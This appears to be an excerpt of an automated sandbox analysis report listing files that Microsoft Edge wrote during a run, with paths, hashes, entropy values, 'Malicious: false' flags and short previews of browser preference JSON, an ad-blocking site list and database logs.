Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13382917158039796","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"593c75f1-9bdf-4220-9a97-b882a4addca1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\74ff688e-7d67-4bef-9597-2607d6af7f2a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44922
Entropy (8bit):	6.094831142760933
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWesi1zNtJGfXNEPhjp89qKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynG2KtSmd6qE7lFoC
MD5:	6CC9AC86A4ED7DBE311EDC52A446CBD0
SHA1:	6587706F959B87CB0A7A6D3580BBCED32642A6A1
SHA-256:	DE35A1E3E4EB3ADA9CC32EFCDAA8176FC46E9B64B8404848FDA9FB6F3558D08F
SHA-512:	025393B8DD5A8275ED81C24D3CAF7ED137B0486F4AC9A62315A910B623A16C1F6304B59C31298A3775DE62F0501C028815FC27551EDBF5F1D3CD720E66679489
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\487e8d46-64a0-4621-af69-dca882b21b33.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152642343929
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
MD5:	628C9E9C9240CB5D8854F4E737E8E3E1
SHA1:	D42A042A0E06415AA7215728C7F5DE6DF4517DDD
SHA-256:	DEC06B922CB3636605946E641FBEA8A92E9FAE1F1F05ABB4C5A007327D83FF0A
SHA-512:	E0F071D560AA10728058BC0F67A4A210F7BA606873F562429E8C682B495B094AC5F67B5EAE03A7C35638402B7B0A681AFB2DB52CA55622C5BF3A167D16763649
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152642343929
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
MD5:	628C9E9C9240CB5D8854F4E737E8E3E1
SHA1:	D42A042A0E06415AA7215728C7F5DE6DF4517DDD
SHA-256:	DEC06B922CB3636605946E641FBEA8A92E9FAE1F1F05ABB4C5A007327D83FF0A
SHA-512:	E0F071D560AA10728058BC0F67A4A210F7BA606873F562429E8C682B495B094AC5F67B5EAE03A7C35638402B7B0A681AFB2DB52CA55622C5BF3A167D16763649
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-679E8B24-1D48.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.449798621953657
Encrypted:	false
SSDEEP:	3072:wRtKeCy/pm0WT93d16Pkcj2mV3vcC1lkbTeLTqYrBmLKZyIg1HF:AKezu3d1gkcjjvaTsTqYrBmLKZyIaH
MD5:	570CC230872CBB2D4AD9B4C63FD03B88
SHA1:	EB2F624B32FD2F0CC54430B042A9F535B81BDE9E
SHA-256:	CEEC12C68B3EE4F7654784311052E9C5B739605E5784666FAD89D67CD4907212
SHA-512:	38CEA1C33A4D7A3CF45FEEFDE764B42EBBED9E881400ECE114BE02CC457F970441139193622B873E4D31EF77CE8E9E8F19D883B8239A747F409213093141CDC1
Malicious:	false
Preview:	...@..@...@.....C.].....@...............(...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".mpoucn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\004603c0-aab9-4ad7-9021-c15b10fa4518.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\282f354f-1366-4ecc-97a1-113ec75a6643.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564073672067281
Encrypted:	false
SSDEEP:	768:ZJ7o1eWj2W5wD3f49y8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuSw3I8h9CrwXDBGx:Z10e+2WaD3fMyu1jafSw5/nzBGWlRts
MD5:	F305D6CC7E53D9EA7CF0021C60C9FE74
SHA1:	B33F410EEB199790FA9D56F5BD7DF63F17140248
SHA-256:	835622608315780C44153993446078BA15B439D197D93C60EF21F8FC8349A19D
SHA-512:	15170E217287C467AC926D39EF2CC9AE25FBEEF72F79D7046FA637F323461C43913F4238E03209FF7EF86226AC0901958EE33E2C34E80473A90C734C2393E628
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382917157087279","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382917157087279","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\37ab3ec7-e8ef-407a-9217-655bc0762fe6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561116803165864
Encrypted:	false
SSDEEP:	768:ZJ7o1eWOJ7pLGL7U2W5wD3f4iy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuSw3I8hq:Z10e1fc7U2WaD3fxyu1jafSw5/nzBGeU
MD5:	89A5C1E1DA8B0BCB4DB54FB9318F54D0
SHA1:	1A21B1423ACBC9A1EBEE99A935CEEBDFA2E22BE9
SHA-256:	901E0D618EBCE1C25D91ED4EC505FF5DD39BB89EA42B16585F1EB0C90454ADEF
SHA-512:	FE641D3E5D811E73C93702C7177CC343C9B120D2B2ED5B6FF4EDF46AB0A93C50DEDC127E98CD506856A02D244E6B39739748EF183DD546EE0FB569366B74B594
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382917157087279","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382917157087279","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\52e58a3b-5fa0-413a-a0e0-f16239c0ee98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14240
Entropy (8bit):	5.291143944083312
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX03dPrYJ:stpPGKSu4ms9SCDVPUjbGjQwk3C
MD5:	83EE767904935C45FDD314348C35B30F
SHA1:	9A17786CECEC5DEFDA2BAA6B79573CC753EB3463
SHA-256:	A472C33967529F5A39064AD48A3112584ED6EF476367115D6690DD55159C9051
SHA-512:	323ABC1AD2B176E8071A5A01322AD783B25287EC47DB099CE5153E8B4B9FFA9B6ECDF46FC6D73EA94BE5CFAF0FDF663C1D0067183D0BCEDBF3F4EFEED5F91113
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9e8e78b3-c126-435b-9d88-46062d47409a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14240
Entropy (8bit):	5.2911468710106275
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX/3dPrYJ:stpPGKSu4ms9SCDVPUjbGjQwv3C
MD5:	C386775E5E660E3904E08AC169D3DE73
SHA1:	25840CC83BB931C2ABC9482BE10AF9BF81F1D445
SHA-256:	E5A320A0D088ADF9D5D489953138E73E9190E59F823757CA640C9E71D1B03813
SHA-512:	F5A396A710781F2DA10B8FA0AA78BD1B85AB72C8D0A1FC773694479C92A43BEEB9327F22DAB849DCC80899A1C835FBE243BEC92E3636C3E1CCD6D9FDB11BD9CB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.208045816323076
Encrypted:	false
SSDEEP:	6:iOXp34iB1N723oH+Tcwtp3hBtB2KLl1pgVwXI+q2PN723oH+Tcwtp3hBWsIFUv:7N4aaYebp3dFLxXI+vVaYebp3eFUv
MD5:	DE3303EB151DE2779841ECDD9B50F751
SHA1:	421EF3814938132AA8DBC416EB3CBAB18DED3B89
SHA-256:	D17334725DF0A353976F584001054763B13B946B5E87E61AEFCF7078D119CC7D
SHA-512:	95F1F1CF62C925D34A607260D8906D59533A57BDF40DBDAD22D750BEC37BAA226D7D9C88A5D18C7A7706954657508EE41C31D80A6C63C9E05C87FFB00303ED59
Malicious:	false
Preview:	2025/02/01-15:59:21.893 120c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/01-15:59:22.006 120c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222889918310042
Encrypted:	false
SSDEEP:	24576:IbPMZpVSfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVSfx2mjF
MD5:	913BE814559E714D82945A3591A7E676
SHA1:	A0B1A71957D0C2581B5B90977525FE7BE63D4A89
SHA-256:	74FE05E42A6CC3B2CEDF2B44A2286F1647BD53F86E432B2F8EE4177782FA2718
SHA-512:	63C3F1F544CFA1790B44D28CDF8B96B8B0DBF22EB257C0AA269E4AFC6E6D66F56A9E93B9CBD933806EB1997974425035EFD348FC9144F897F0EA7C6E0A6D7ADE
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.115028357610193
Encrypted:	false
SSDEEP:	6:iOXpFOq2PN723oH+Tcwt9Eh1tIFUtFpBaZmw7pR6FkwON723oH+Tcwt9Eh15LJ:7mvVaYeb9Eh16FUtBa/r6F5OaYeb9Ehx
MD5:	084DEE48B793BC8BFB9E348F44912883
SHA1:	BD4D64C45F0E7D81B02CEB2DA0C0AAE3D5C4AC14
SHA-256:	03752654C616FBE87DCA727C6F06293F3436E9FE743332B657C2604975E92E5F
SHA-512:	693C3908BEE61E254A6F73B9CBFB080159037FBA06D0C73CFC604CBEE6B49E1EE826D707E7B6C83D3C8E8EA52321FEACAC2653C3E3890C2838B3D818CADBD810
Malicious:	false
Preview:	2025/02/01-15:59:21.780 ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/01-15:59:21.781 ed4 Recovering log #3.2025/02/01-15:59:21.792 ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.115028357610193
Encrypted:	false
SSDEEP:	6:iOXpFOq2PN723oH+Tcwt9Eh1tIFUtFpBaZmw7pR6FkwON723oH+Tcwt9Eh15LJ:7mvVaYeb9Eh16FUtBa/r6F5OaYeb9Ehx
MD5:	084DEE48B793BC8BFB9E348F44912883
SHA1:	BD4D64C45F0E7D81B02CEB2DA0C0AAE3D5C4AC14
